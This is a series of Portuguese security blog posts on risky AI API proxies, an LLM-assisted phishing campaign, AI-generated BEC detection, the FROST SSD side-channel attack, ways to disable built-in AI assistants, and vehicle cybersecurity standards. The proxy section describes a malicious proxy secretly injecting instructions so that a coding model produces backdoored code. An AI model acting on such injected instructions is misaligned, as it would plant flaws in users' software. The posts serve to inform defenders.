À medida que as organizações integram a IA em um espectro cada vez mais amplo de fluxos de trabalho, elas inevitavelmente enfrentam obstáculos em relação à confiabilidade e ao custo das ferramentas de IA. Esses desafios vão desde o tempo de inatividade temporário causado por interrupções técnicas e interrupções regulatórias de modelos críticos (como aconteceu com o Fable 5 há pouco tempo), até o bloqueio inesperado de casos de uso específicos (adeus, OpenClaw) ou excessos orçamentários significativos (como aconteceu com a Uber no início deste ano, uma dura lição para a empresa).

Para evitar o abandono de ferramentas críticas de IA, as empresas frequentemente usam serviços de terceiros que apresentam um único painel de controle que possibilita acessar vários modelos de IA. O fluxo de trabalho é direto: o usuário configura seu agente de IA ou acessa no navegador um endereço designado de um servidor proxy (um proxy de API), que consulta os modelos de destino em nome do usuário e retorna suas respostas.

Algumas plataformas neste espaço priorizam uma ampla seleção de modelos, rastreamento de uso simplificado e balanceamento de carga em APIs oficiais. Outras baseiam toda a sua estratégia de marketing na redução agressiva de custos. Esses últimos provedores oferecem serviços com descontos de dezenas de por cento, às vezes até por uma fração do custo em comparação com fornecedores oficiais, ao mesmo tempo em que prometem uma maneira de contornar quaisquer limites. Mas é claro que eles não alertam sobre os riscos graves que essas soluções alternativas representam para o desempenho, a confiabilidade e a segurança dos negócios.

Como os proxies de IA maliciosos operam

De acordo com um estudo recente do Oxford China Policy Lab, o modelo de negócios desses intermediários baratos depende muito da criação de contas. Os provedores configuram contas em dezenas de computadores, concluindo a verificação de identidade usando documentos falsos ou credenciais compradas de indivíduos em países em desenvolvimento. Para abastecer essas contas, eles aproveitam os períodos de avaliação gratuita ou créditos promocionais de API de valor fixo, ou compram assinaturas premium de primeira linha e dividem o acesso entre vários usuários finais por meio de automação.

O modo de operação dessas plataformas frequentemente chega a constituir crime cibernético. Suas estruturas de preços extremamente baixos são mantidas não apenas pela maximização dos limites de uso de contas, mas também pela utilização de credenciais roubadas de usuários legítimos e pela aquisição de assinaturas em massa com cartões de crédito comprometidos. Esses serviços são altamente automatizados: no momento em que um fornecedor de IA detecta e bane uma conta suspeita, o sistema substitui perfeitamente a credencial comprometida por uma nova.

Para os usuários, o problema vai muito além das implicações da obtenção de acesso ilícito. Um proxy de API obtém visibilidade total do tráfego entre o usuário final e o modelo, capturando prompts, caminhos de raciocínio e resultados. E o que é mais impactante: o proxy também tem a capacidade de manipular dados em ambas as direções. Vamos analisar os riscos que isso traz para as organizações.

Vazamentos de dados e roubo de propriedade intelectual

O estudo indica que o objetivo real de muitos desses serviços é coletar dados de interação de alta qualidade de modelos de primeira linha para treinar IA de terceiros. Em essência, a venda de acesso barato a uma API é apenas um chamariz; o verdadeiro produto são os usuários e seus dados.

Além das informações dos clientes e financeiras, a propriedade intelectual corre um sério risco. Muitas empresas investem recursos significativos no desenvolvimento de arquiteturas RAG complexas ou prompts de sistema exclusivos. Ao redirecionar consultas por meio de um proxy de procedência duvidosa, elas acabam transferindo seu conhecimento e lógica de negócios para terceiros desconhecidos.

Violações regulamentares e de conformidade

Para uma empresa, o simples ato de redirecionar dados de clientes usando um serviço de proxy não verificado, especialmente um que opera sob uma legislação ambígua, constitui uma violação direta das leis de privacidade de dados e, provavelmente, das obrigações contratuais firmadas com parceiros e clientes. Isso faz com que as organizações tenham que arcar com multas pesadas e danos à reputação, ainda que os dados comprometidos nunca sejam expostos ao público.

Falsificação e substituição de modelos

Certos serviços de proxy reduzem seus custos operacionais redirecionando algumas ou todas as consultas dos usuários para modelos de código aberto baratos em vez dos modelos proprietários premium solicitados. Essas respostas inferiores são então rotuladas novamente como se viessem do LLM caro. Testes conduzidos por pesquisadores do CISPA Helmholtz Center revelaram que, embora o envio de uma consulta envolvendo questões de saúde complexas diretamente ao Google Gemini 2.5 produza uma taxa de precisão de mais de 83%, o redirecionamento da mesma consulta por meio de vários proxies não verificados reduz essa taxa para 37%. A decisão de trocar os modelos é feita dinamicamente usando uma lógica obscura para maximizar as margens de lucro do provedor de proxy.

Manipulação secreta de solicitações e respostas

Um servidor proxy tem a capacidade técnica para executar um ataque man-in-the-middle. Um proxy malicioso pode injetar instruções ocultas nos prompts do usuário sem que ele perceba ou manipular as saídas do modelo. Por exemplo, se uma organização utiliza assistentes de codificação de IA para o desenvolvimento de softwares, o proxy pode instruir o LLM a gerar um código que contenha vulnerabilidades ou backdoors. Como consequência, os usuários não têm qualquer garantia de que sua base de código está sendo gerada por um modelo verificado e seguro que foi submetido a uma verificação de qualidade e segurança.

Tempo de inatividade e interrupções do serviço

Embora um dos principais fatores para migrar para um proxy de API seja mitigar as interrupções técnicas do lado dos fornecedores e permitir o failover contínuo entre diferentes provedores de modelos, muitas plataformas maliciosas sofrem com uma baixa confiabilidade operacional. Esses serviços ficam off-line com frequência, interrompendo o acesso a todos os LLMs conectados a eles simultaneamente.

A alternativa ética: agregadores oficiais

Existem provedores legítimos no mercado que oferecem serviços de agregação de API de maneira transparente e ética. Essas plataformas declaram quais modelos usam, oferecem redirecionamento flexível e definem os preços de seus serviços em valores próximos aos praticados pelos fornecedores oficiais.

Embora a OpenRouter seja, sem dúvidas, a plataforma mais reconhecida nesse espaço, as organizações podem explorar alternativas como a Poe.ai (que oferece um modelo de agregador baseado em assinatura com preço unificado) ou a Hugging Face (que oferece acesso extensivo a modelos de código aberto), ou manter contratos diretos com os principais fornecedores de IA enquanto centralizam o acesso, a confiabilidade e o gerenciamento de segurança internamente por meio de um proxy de API auto-hospedado criado no LiteLLM.

A estratégia de negócios dessas estruturas legítimas se concentra em mitigar a dependência de um único fornecedor, para que, por exemplo, caso a OpenAI aumente seus preços ou seja forçada a encerrar sua API, uma empresa possa redirecionar seus fluxos de trabalho de IA para fornecedores alternativos, como o Claude ou o Llama, sem precisar reescrever uma única linha de código. Esse é um mecanismo compatível com a otimização das despesas operacionais e a garantia da continuidade do negócio.

Cinco regras para a integração segura de modelos de IA

Para proteger dados e orçamento, siga as instruções de segurança:

1. Utilize somente serviços verificados. Confie nas APIs oficiais para desenvolvedores ou em agregadores renomados que sejam validados pelos principais agentes do mercado e tenham certificações de segurança robustas.
2. Desconfie de preços suspeitos. Se um serviço de terceiros prometer acesso a um modelo como o Opus 4.8 por um décimo do valor cobrado pelo fornecedor oficial, evite o serviço.
3. Faça comparações rigorosas. Antes de implementar uma solução em escala, faça avaliações internas independentes. Verifique se os modelos fornecem consistentemente a qualidade de saída esperada e atendem aos requisitos de latência.
4. Mantenha o controle sobre o redirecionamento. Você deve saber exatamente qual modelo recebe suas consultas e como o serviço executa o balanceamento de carga. Isso requer não apenas os meios técnicos de monitoramento, mas também obrigações contratuais explicitamente definidas pelo fornecedor do proxy da API.
5. Processamento de dados de segmento com base na sensibilidade. Além do que foi exposto acima, evite redirecionar informações de identificação pessoal, segredos comerciais, códigos-fonte ou quaisquer outros dados confidenciais por meio de qualquer endpoint de API baseado em nuvem. Para essas cargas de trabalho, recomendamos implementar modelos de código aberto locais na sua própria infraestrutura e que estejam sob seu controle operacional total.

Identificamos uma nova campanha de phishing direcionada em que cibercriminosos tentaram atacar empresas de manufatura. O ataque envolveu uma abordagem em múltiplas etapas: antes de enviar o link de phishing diretamente, eles iniciaram uma conversa com a vítima por meio de e-mails a fim ganhar sua confiança. É provável que as conversas tenham sido geradas usando grandes modelos de linguagem. No momento desta postagem, o ataque ainda estava ocorrendo, por isso recomendamos atenção!

O esquema de phishing

Os invasores tentam se passar por clientes em potencial. Os e-mails são enviados por endereços registrados em serviços de e-mail gratuitos. Esses serviços não têm uma má reputação conhecida e geralmente são usados para o envio de e-mails corporativos, especialmente por pequenas empresas. Seja qual for o idioma nativo da vítima (vimos ataques direcionados a empresas na Rússia, República Tcheca, Malásia e Egito), os e-mails dos atacantes são sempre escritos em inglês.

No primeiro contato, eles fazem perguntas sobre os produtos oferecidos, citando nomes reais de produtos. Isso indica uma preparação minuciosa para os ataques. Eles não enviam e-mails idênticos para empresas de manufatura com perfis semelhantes, mas pesquisam cuidadosamente informações públicas disponíveis on-line sobre cada vítima. Se alguém responder ao primeiro e-mail, os invasores continuam a conversa. Às vezes, antes de ir direto ao seu objetivo, que é extrair credenciais de contas de e-mail corporativas, eles trocam várias mensagens nas quais, como distração, esclarecem certos detalhes ou fazem perguntas adicionais. Mas, na maior parte das vezes, eles enviam o link de phishing já no segundo e-mail.

Os invasores enviam especificações detalhadas de um produto no qual afirmam estar interessados, perguntam se o produto pode ser gravado de acordo com um esboço ou usam qualquer outro pretexto para tentar fazer com que a vítima abra o arquivo enviado.

Uma cadeia de e-mails que termina com um link de phishing

Site de phishing

Na realidade, não há nenhum arquivo. O site de phishing que é aberto quando a vítima clica no link imita um serviço na nuvem popular para editar documentos em PDF. O botão “Baixar” leva a um formulário de login no qual a vítima é solicitada a inserir seu endereço de e-mail corporativo e sua senha para acessar o arquivo confidencial. Obviamente, isso é “por motivos de segurança”. Se um funcionário da empresa alvo não parar para pensar por que inseriria suas credenciais de login corporativas em um site completamente sem relação com a empresa, um site que claramente não tem como verificar sua autenticidade, seu endereço de e-mail e a senha associada serão enviados para o servidor dos invasores.

Como se manter em segurança?

Os ataques de phishing modernos estão se tornando cada vez mais sofisticados e, graças ao uso de ferramentas de IA pelos atacantes, também mais convincentes. É por isso que, em primeiro lugar, recomendamos aumentar a conscientização sobre segurança dos funcionários sempre que possível. E para garantir que eles tenham que colocar esse conhecimento em prática o mínimo possível, recomenda-se implementar uma solução de segurança no nível do gateway de e-mail. O Kaspersky Secure Mail Gateway detecta esse ataque de phishing antes mesmo de os atacantes passarem para a tentativa de phishing propriamente dita.

Não é segredo que os cibercriminosos vêm usando grandes modelos de linguagem para otimizar suas operações. Como resultado, as inúmeras campanhas de phishing e malware direcionadas às organizações tornaram-se muito mais sofisticadas. Esses e-mails agora contêm menos erros evidentes, e o tom deles se aproxima muito de uma correspondência comercial legítima. No entanto, os métodos usados para distribuir essas campanhas sempre apresentam um indício claro: uma tentativa de roubar credenciais ou executar código malicioso. Os ataques de comprometimento de e-mail comercial (BEC), no entanto, representam um desafio ainda maior.

Os ataques BEC normalmente dependem inteiramente da engenharia social, induzindo um funcionário legítimo a executar as ações solicitadas pelos invasores. Esses ataques também se tornaram muito mais sofisticados desde o surgimento dos LLMs. Se as táticas forem bem-sucedidas, por exemplo, se eles conseguirem convencer um funcionário a transferir fundos para uma conta de terceiros em vez da conta de um prestador de serviços, a empresa poderá perder muito dinheiro em questão de instantes. Foi por isso que desenvolvemos uma tecnologia especializada para detectar e-mails de BEC gerados com IA.

Um exemplo de um e-mail de BEC gerado por LLM.

Como funciona a tecnologia de detecção de BEC gerado com IA

Sem entrar em muitos detalhes técnicos, veja como essa nova tecnologia funciona. Como você deve saber, os grandes modelos de linguagem não produzem textos da mesma forma que os seres humanos. Em vez disso, eles preveem as palavras que têm maior probabilidade de se adequar à tarefa descrita no prompt. Além disso, os cibercriminosos tendem a seguir o caminho mais fácil: em vez de reinventar a roda, recorrem aos modelos de IA mais amplamente disponíveis.

Como o objetivo dos invasores é relativamente claro, podemos extrair do texto frases-chave específicas de ataques de BEC. Além disso, aprendemos a identificar quando um texto foi gerado por uma máquina. Esses indicadores são um dos pilares da nossa tecnologia de detecção. Como resultado, nossa solução de segurança agora consegue identificar e bloquear tentativas de ataques BEC logo no estágio inicial, antes mesmo que o invasor tenha a oportunidade de enganar um funcionário. Atualmente, a tecnologia detecta e-mails de BEC gerados com IA em inglês, russo, alemão, francês, italiano, espanhol, português e turco.

Quais de nossas soluções apresentam a tecnologia de detecção de BEC gerada com IA?

Nosso portfólio de soluções de segurança corporativa inclui o Kaspersky Security for Mail Server, que incorpora o Kaspersky Secure Mail Gateway. É no gateway seguro de e-mail que nossa tecnologia de detecção de e-mails BEC gerados por IA está implementada. Mais especificamente, o recurso está disponível na licença KSMS Plus após a recente atualização para o KSMG 3.1. Visite a página oficial do Kaspersky Secure Mail Server para saber mais sobre nossas soluções de segurança de e-mail e os recursos adicionados na atualização mais recente.

Cientistas da Universidade de Tecnologia de Graz, na Áustria, publicaram recentemente um artigo detalhando um novo método para monitorar a atividade de usuários em navegadores. O aspecto mais fascinante dessa nova técnica (batizada de FROST) é que ela usa a unidade de estado sólido (SSD) do computador para espionar o usuário. Sem entrar demais em detalhes técnicos, o ataque funciona assim: um hacker atrai a vítima para um site especialmente criado; enquanto a página permanecer aberta, o hacker consegue rastrear exatamente quais aplicativos o usuário está abrindo e quais outras páginas da Web está visitando.

Mas como isso é possível? A primeira reação, naturalmente, é culpar o navegador. Porém, nos navegadores modernos, cada site é executado em um sandbox e normalmente não consegue acessar outras guias, muito menos o hardware do computador. Embora hackers encontrem brechas nessas proteções de tempos em tempos, não é isso o que acontece aqui. O ataque FROST funciona perfeitamente mesmo com todas as medidas padrão de proteção do navegador ativadas. Em vez disso, ele explora um recurso totalmente legítimo chamado Origin Private File System (OPFS), que fornece aos sites um espaço virtual próprio para armazenar dados. No entanto, embora o armazenamento seja isolado digitalmente, os dados continuam sendo gravados no mesmo SSD usado pelos demais aplicativos e páginas abertos no computador. Pesquisadores descobriram que uma página maliciosa pode identificar o que está sendo executado no computador ao enviar solicitações contínuas ao SSD e analisar pequenas variações nos tempos de acesso. Antes de entrar nos detalhes de como isso funciona, vale entender rapidamente a teoria por trás do ataque.

Introdução rápida aos ataques de canal lateral

O termo “canal lateral” se refere a um método de espionar um computador, ou mesmo um único microchip, de forma indireta. Em vez de interceptar os dados em si, um invasor pode analisar variações no consumo de energia, monitorar a temperatura de componentes específicos ou até monitorar a radiação eletromagnética, entre outras coisas. Em teoria, isso significa que alguém poderia escutar uma conversa em uma sala usando apenas um mouse, já que o sensor óptico consegue captar vibrações sonoras. Da mesma forma, monitorar oscilações na frequência do processador pode permitir que um hacker roube uma chave de criptografia. Até mesmo um simples LED em um leitor de crachá pode revelar informações suficientes sobre o funcionamento interno do dispositivo para permitir a clonagem de um cartão inteligente.

O grande atrativo desses vazamentos indiretos, pelo menos do ponto de vista do hacker, é que eles são difíceis de detectar. Os fabricantes raramente levam esse tipo de comportamento em consideração ao projetar sistemas de segurança. Por outro lado, há uma limitação evidente: extrair informações por um mecanismo que nunca foi criado para transmitir dados costuma ser um processo complexo, lento e trabalhoso. Os pesquisadores austríacos concentraram seus estudos em um subtipo específico conhecido como ataque de canal lateral por contenção. Nesse caso, o vazamento acontece porque vários processos disputam o mesmo recurso. Aqui, o recurso disputado é a largura de banda da unidade de armazenamento.

Por dentro do ataque FROST

Esse canal lateral específico já havia sido estudado antes, inclusive em um artigo publicado em 2025. Na época, porém, o cenário era relativamente simples: os pesquisadores executavam um programa no computador para gerar os dados, enquanto um segundo programa, rodando na mesma máquina, tentava interceptá-los. Embora isso funcione bem para um estudo acadêmico teórico, o modelo de ataque não era exatamente revolucionário. Afinal, se um hacker já consegue executar qualquer programa no computador, não precisa recorrer a canais laterais complexos; existem várias formas diretas de roubar dados.

Ainda assim, o estudo do ano passado não foi em vão. Ele comprovou que a resolução obtida ao monitorar um SSD é alta, que o vazamento de dados é real e que as informações capturadas podem, de fato, ser úteis. O ataque FROST é essencialmente uma continuação lógica dessa mesma ideia.

Veja como ele funciona na prática. Imagine um arquivo relativamente grande armazenado em um SSD e preenchido com dados aleatórios. Um processo específico lê esse conteúdo em intervalos regulares e mede quanto tempo leva para obter uma resposta. Essa velocidade varia dependendo do nível de ocupação da unidade com outras tarefas. Esses atrasos de acesso funcionam como sinais reveladores da atividade da unidade. Os pesquisadores austríacos demonstraram que registrar esses atrasos ao longo do tempo permite identificar com boa precisão qual outra tarefa está sendo executada naquele exato momento.

Padrões distintos de latência gerados ao abrir sites específicos Fonte

Os pesquisadores elaboraram gráficos de latência, como os acima, para vários sites e aplicativos executados localmente. O que eles encontraram foram padrões distintos, ou assinaturas digitais geradas toda vez que um site específico é carregado ou que um aplicativo é iniciado. Capturar essas janelas extremamente rápidas de carregamento exige monitoramento contínuo do SSD por um longo período. Mesmo assim, os padrões se mantiveram consistentes entre diferentes sistemas; os autores validaram o método em um desktop Linux e em um Apple Mac Mini. A partir daí, parece simples: criar um catálogo de assinaturas conhecidas, medir os atrasos reais do SSD, comparar os dois conjuntos e descobrir exatamente quais aplicativos o usuário está abrindo e quais sites está visitando. Mas como realizar esse tipo de vigilância sem levantar suspeitas e sem instalar malwares no computador da vítima?

É aí que entra um recurso relativamente novo dos navegadores chamado Origin Private File System (OPFS). Um invasor hipotético não precisa convencer o usuário a baixar um cavalo de Troia malicioso. Basta fazer a vítima visitar uma página especialmente criada, que usará o OPFS para monitorar silenciosamente a atividade do SSD. A sigla reúne todos esses elementos: FROST significa Fingerprinting Remotely using OPFS-based SSD Timing (identificação remota por assinatura digital com temporização de SSD baseada em OPFS). Veja o passo a passo de como todo o ataque acontece:

Como o método FROST pode ser usado para espionar a atividade de um computador Fonte

Limitações do método

Como qualquer ataque de canal lateral, o FROST definitivamente não foi feito para ser rápido. É um processo lento e estruturado. Para descobrir exatamente o quanto, os pesquisadores construíram um ambiente de testes dedicado para medi-lo.

Estrutura de testes usada para medir a velocidade de extração de dados via OPFS Fonte

A equipe executou um programa em um computador para transmitir dados de forma indireta. Pense nisso como um espião digital transmitindo uma mensagem secreta alterando a forma como interage com a unidade de armazenamento. Por exemplo, um 1 no código binário da mensagem pode indicar que o programa está usando o SSD, enquanto um 0 indica que está inativo. Ao mesmo tempo, os pesquisadores configuraram no navegador um receptor que acessava a unidade de armazenamento via OPFS. Como tanto o receptor no navegador quanto o programa transmissor disputavam a largura de banda do SSD, o navegador sofria pequenos atrasos de acesso sempre que o transmissor estava enviando dados ativamente.

Essa configuração inusitada conseguiu transmitir dados a 661 bits por segundo, com quase 90% de precisão em um desktop Linux com processador AMD. Em um Apple Mac Mini executando o macOS, a taxa de transferência chegou a 719 bits por segundo, também com precisão próxima de 90%. Embora esses números sejam um pouco inferiores aos do estudo do ano passado, que dependia de aplicativos instalados diretamente no computador, a diferença não é tão grande assim.

Dito isso, a verdadeira ameaça do ataque FROST não está na transmissão bruta de dados, mas no rastreamento da atividade do usuário. Mesmo com um banco de dados de assinaturas digitais de aplicativos e sites específicos, as informações vazadas por uma página maliciosa usando OPFS são pouco precisas e difíceis de correlacionar. Afinal, um computador está constantemente lendo e gravando dados no SSD em segundo plano. Para separar esse ruído digital, os pesquisadores recorreram a uma ferramenta que está se tornando padrão em ataques cibernéticos modernos: uma rede neural. Uma IA treinada com assinaturas conhecidas de SSDs conseguiu identificar com segurança a atividade do usuário mesmo em meio a um cenário caótico de dados em segundo plano. Os resultados finais são impressionantes. No Apple Mac Mini, a IA identificou corretamente qual site o usuário abriu em 89% dos casos e detectou a abertura de aplicativos locais com 96% de precisão. Mais importante: ela conseguiu identificar até quais sites foram abertos em um navegador completamente diferente daquele que estava executando a guia maliciosa. À primeira vista, parece um cenário ideal para os hackers, exceto por uma longa lista de limitações no mundo real.

O ataque FROST representa uma ameaça real?

O simples fato de saber quais aplicativos foram abertos ou quais sites foram visitados não dá ao invasor muita vantagem. Esse tipo de dado costuma ser mais útil para anunciantes interessados em traçar o perfil digital de um usuário sem autorização; ainda assim, aplicar esse método de rastreamento em larga escala é pouco realista. O principal obstáculo é a forma como os computadores gerenciam dados: o sistema move os dados mais acessados para a memória RAM, tornando-os praticamente invisíveis ao FROST, que depende da medição da largura de banda mais lenta do SSD físico. Para contornar esse obstáculo, a página maliciosa precisaria forçar o OPFS a criar um arquivo gigantesco, com bem mais de 1 GB. Nem é preciso dizer que um site consumindo recursos do disco de forma tão agressiva levantaria suspeitas imediatamente. Soluções de EDR ou XDR provavelmente marcariam isso como atividade anômala.

No fim das contas, isso significa que o ataque FROST, como a maioria dos métodos de espionagem por canal lateral, só é viável em operações altamente direcionadas. Mas isso nos leva de volta ao ponto inicial: descobrir quais aplicativos alguém abre ou quais páginas acessa é uma recompensa relativamente pequena diante do enorme esforço necessário para executar um ataque tão sofisticado.

Ainda assim, o FROST está muito à frente da maioria dos ataques acadêmicos de canal lateral quando o assunto é aplicabilidade no mundo real. Ele não exige malware pré-instalado, e a vítima não precisa fazer nada além de abrir uma página maliciosa. No mínimo, essa pesquisa serve como um lembrete importante de como os computadores modernos são complexos e de quantos pontos cegos inesperados podem acabar abrindo caminho para vazamentos de dados. Ao desenvolver sistemas ultrasseguros para informações sigilosas, é essencial considerar as particularidades do hardware. Se o objetivo for valioso o suficiente, um invasor determinado investirá tempo para criar um ataque altamente específico e complexo. Pesquisas como esta mostram que, no universo da cibersegurança, esse cenário não é impossível.

Recentemente, desenvolvedores de software têm integrado recursos de IA a ferramentas de trabalho, sistemas operacionais e navegadores. Em alguns casos, eles são realmente úteis. No entanto, sua presença introduz riscos específicos, o que faz com que muitas empresas hesitem em conceder acesso a essas ferramentas aos funcionários. Em uma postagem anterior, categorizamos sistemas de IA indesejados, analisamos sua identificação em redes e endpoints e abordamos a solução definitiva: o gerenciamento de acesso OAuth em plataformas corporativas. Nesta análise aprofundada, vamos focar nas medidas práticas: detalhar como desativar ou restringir a IA integrada em plataformas populares.

Aviso rápido: grandes fornecedores de software podem alterar ocasionalmente os nomes das configurações de IA e seu funcionamento. Se alguma das opções abaixo estiver ausente ou não funcionar como esperado, uma busca rápida pelo nome da configuração normalmente levará à sua nova localização ou nome de marca.

Como desativar o Microsoft 365 Copilot

Detecção: você pode verificar o uso real do Copilot nos logs acessando Administração do Microsoft 365 (Microsoft 365 admin) → Relatório de uso do Copilot (Copilot usage report).

Desativação por meio de políticas: no Centro de administração do Microsoft 365, acesse Configurações (Settings) → Aplicativos integrados (Integrated Apps), localize Copilot na lista Aplicativos disponíveis (Available Apps) e selecione Bloquear (Block). Políticas de configuração mais granulares estão disponíveis em Personalização (Customization) → Gerenciamento de políticas (Policy Management). A página Políticas (Policies) aqui contém mais de duas mil entradas, portanto, convém filtrá-las pela palavra-chave “Copilot” (guia detalhado). Como o Copilot é um complemento pago do Office, outra forma de bloqueá-lo e reduzir custos é evitar atribuir aos usuários SKUs que o incluam.

Recomendamos bloquear separadamente o Copilot Chat, disponível no Teams, Edge, Outlook e vários outros serviços. Sim, não é o Copilot em si. E sim, ele precisa ser bloqueado separadamente seguindo este guia.

Camada adicional de proteção: você pode bloquear os domínios copilot.cloud.microsoft e m365.cloud.microsoft/chat no filtro da Web ou no NGFW. No entanto, a Microsoft recomenda evitar essa prática, pois ela pode impedir o funcionamento correto de outros recursos do Microsoft 365.

Como desativar o Windows Copilot

Além da versão do Copilot para Office, também é necessário gerenciar a versão voltada ao consumidor.

Detecção: no NGFW ou em outros logs de rede, procure tráfego direcionado a copilot.microsoft.com, bing.com/chat ou edgeservices.bing.com.
Desativação por meio de políticas: na Política de Grupo do Windows, navegue até Configuração do computador (Computer Config) → Modelos de administração (Admin Templates) → Componentes do Windows (Windows Components) → Windows Copilot. Na Política de Grupo do Microsoft 365, acesse Centro de administração (Admin center) → Bloquear o Copilot voltado para o consumidor para contas organizacionais (Block consumer Copilot for organizational accounts).

Camada adicional de proteção: bloqueie totalmente a execução do executável Copilot.exe.

Como desativar a barra lateral do Copilot no Edge

Detecção: no NGFW ou em outros logs de rede, procure tráfego direcionado a copilot.microsoft.com, bing.com/chat ou edgeservices.bing.com.

Bloqueio: configure as seguintes Políticas de Grupo do MS Edge: HubsSidebarEnabled = falso, EdgeShoppingAssistantEnabled = falso, CopilotPageContext = Desativado (falso), CopilotNewTabPageEnabled = falso, Microsoft365CopilotChatIconEnabled = falso, GenAILocalFoundationalModelSettings = 1 (observe que desativar isso exige inesperadamente um 1 em vez de 0).

Camada adicional de proteção: bloqueie os domínios copilot.cloud.microsoft e m365.cloud.microsoft/chat no filtro da Web ou no NGFW. No entanto, a Microsoft não aconselha fazer isso, pois pode quebrar outros recursos.

Como desativar o Gemini Assistant no Google Workspace

Detecção: verifique o Console de administração do Workspace (admin.google.com), na seção Relatório de uso do Gemini (Gemini usage).

Bloqueio por meio de políticas: no Console de administração, navegue até Aplicativos (Apps) → Serviços adicionais do Google (Additional Google services) → > Aplicativo Gemini (Gemini app) e defina-o como DESATIVADO (OFF). Em seguida, acesse Gerenciar configurações dos recursos inteligentes do Workspace (Manage Workspace smart feature settings) → Recursos inteligentes no Google Workspace (Smart features in Google Workspace) e defina-o como DESATIVADO (OFF).

Camada adicional de proteção: bloqueie o tráfego de rede para os domínios gemini.google.com, bard.google.com e aistudio.google.com.

Como desativar o Gemini no Google Chrome

Detecção: verifique seus relatórios do Chrome Enterprise (Gerenciamento do Chrome (Chrome management) → Relatórios (Reports)) ou procure nos registros de tráfego de rede conexões com os domínios mencionados anteriormente.

Bloqueio por meio de políticas: nas políticas do Chrome Enterprise, defina as seguintes configurações: GenAILocalFoundationalModelSettings = 0, HelpMeWriteSettings = 2 (desativado), TabOrganizerSettings = 2, CreateThemesSettings = 2, DevToolsGenAiSettings = 2.

Camada adicional de proteção: bloqueie o tráfego de rede para os domínios gemini.google.com, bard.google.com e aistudio.google.com. Além disso, bloqueie instalações não autorizadas do Chrome/Chromium (aquelas que estão fora do gerenciamento de políticas) com a ajuda de ferramentas de controle de aplicativos baseadas em host, como EPP/EDR ou AppLocker.

Como desativar a Apple Intelligence

Detecção: no NGFW e filtros da Web, o tráfego direcionado a apple-relay.apple.com e *.apple-cloudkit.com é um indicador claro de que a Apple Intelligence está ativa.

Bloqueio por meio de políticas: qualquer dispositivo Apple gerenciado permite desativar recursos individuais de IA, embora não haja um botão central que você possa usar para desativar “todos os recursos de IA”. Em seu perfil de MDM, você precisa definir as seguintes chaves como false (desativado): allowWritingTools, allowMailSummary, allowGenmoji, allowImagePlayground, allowImageWand, allowPersonalizedHandwritingResults, allowExternalIntelligenceIntegrations, allowExternalIntelligenceIntegrationsSignIn, allowNotesTranscription e allowNotesTranscriptionSummary. Veja este pequeno snippet de configuração:

<dict>

<key>PayloadType</key>

<string>com.apple.applicationaccess</string>

<key>allowWritingTools</key>

<false/>

<key>allowMailSummary</key>

<false/>

</dict>

Apesar da mudança da Apple para o gerenciamento declarativo de dispositivos, esses recursos de IA ainda precisam ser gerenciados por meio das configurações tradicionais de carga do MDM.

Camada adicional de proteção: bloqueie o tráfego de rede para os hosts mencionados acima; embora isso tenha a desvantagem óbvia de não funcionar em dispositivos móveis fora da rede corporativa.

De acordo com uma pesquisa internacional, a participação de mercado de veículos sem motorista e altamente automatizados está crescendo rapidamente. Os analistas estimam que os próximos 10 a 15 anos marcarão uma grande mudança de projetos-piloto para a adoção em massa do transporte autônomo. O impulso está crescendo em todo o mundo: a Europa já implementou mais de 35 projetos-piloto de veículos autônomos, enquanto os EUA e a China registram mais de 450 mil e 250 mil viagens comerciais respectivamente por semana. No entanto, o relatório observa vários obstáculos que retardam esse progresso. Uma dessas barreiras é a incerteza em torno da responsabilidade legal e da regulamentação, inclusive nas áreas de segurança e proteção. A alocação de responsabilidade entre fornecedores, fabricantes, clientes corporativos e usuários finais continua sendo um ponto importante de discussão.

Cada player do mercado vê a questão de garantir a segurança de veículos autônomos de forma diferente. Para as montadoras, significa assumir a responsabilidade por como um veículo se comporta na estrada e por verificar seus fornecedores. Para os próprios fornecedores, significa projetar mecanismos de segurança diretamente na sua arquitetura de solução desde o primeiro dia e garantir sua adequação. Para as seguradoras, isso significa revisar completamente seus modelos de risco para considerar não apenas acidentes, mas também possíveis falhas de software e ataques cibernéticos. Em última instância, todos concordam em um ponto fundamental: a segurança deve ser um recurso fundamental do veículo, não um complemento opcional.

Como garantir a segurança veicular na era moderna

Durante anos, as discussões sobre segurança automotiva se concentraram estritamente na segurança funcional. Em outras palavras, o objetivo era garantir que os sistemas veiculares funcionassem corretamente e que os riscos associados a possíveis falhas fossem totalmente mitigados ou reduzidos a um nível aceitável. A norma ISO 26262 “Veículos rodoviários — Segurança funcional” ajuda a enfrentar esse desafio e serve como parâmetro para a indústria automotiva.

No entanto, o veículo conectado moderno é um sistema ciberfísico complexo que armazena e processa grandes quantidades de dados, incluindo informações confidenciais. Como consequência, isso leva ao surgimento de novas necessidades fundamentais. Para traçar uma analogia com dois níveis da hierarquia de necessidades de Maslow, um veículo moderno deve:

• Satisfazer a necessidade de “estima”. Isso significa que o sistema deve armazenar de forma segura e confiável os dados do perfil do usuário, como credenciais da conta, dados biométricos, detalhes de pagamento e muito mais.
• Satisfazer as necessidades cognitivas do usuário, o que significa que o sistema deve fornecer conectividade segura com a internet, transmitir a telemetria do veículo e enviar lembretes para manutenção programada ou de emergência.

Tudo isso significa equipar os veículos com uma ampla gama de interfaces (telemática, Bluetooth, Wi-Fi, conectividade celular, atualizações OTA e V2X), o que abre as portas para ataques remotos. Portanto, é necessário garantir não apenas a segurança funcional, mas também a segurança das informações no veículo. Como resultado, normas especializadas do setor que ajudam a enfrentar os desafios de segurança cibernética automotiva surgiram na maioria dos países. As principais normas internacionais são ISO/SAE 21434 “Veículos rodoviários — Engenharia de segurança cibernética”, UNECE R155 e UNECE R156.

As regulamentações na China também estão evoluindo. Em 2024, o país publicou a norma nacional GB 44495-2024 “Requisitos Técnicos para Segurança Cibernética de Veículos”, que entrou em vigor em 1º de janeiro de 2026. O documento introduz requisitos obrigatórios de segurança cibernética para veículos, incluindo proteção de comunicações, gerenciamento de eventos de segurança, monitoramento de ameaças e interação segura do veículo com a infraestrutura externa.

Compreender e aplicar essas normas está se tornando absolutamente crítico. A pesquisa mostra que os riscos de segurança cibernética estão aumentando diariamente e o impacto na segurança funcional pode eventualmente desencadear incidentes muito mais perigosos do que uma falha interna do sistema. O que acontece se um invasor obtiver acesso ao sistema de controle remoto de um caminhão autônomo ou conseguir atualizar uma unidade de controle eletrônico crítica durante uma sessão de diagnóstico não autorizada?

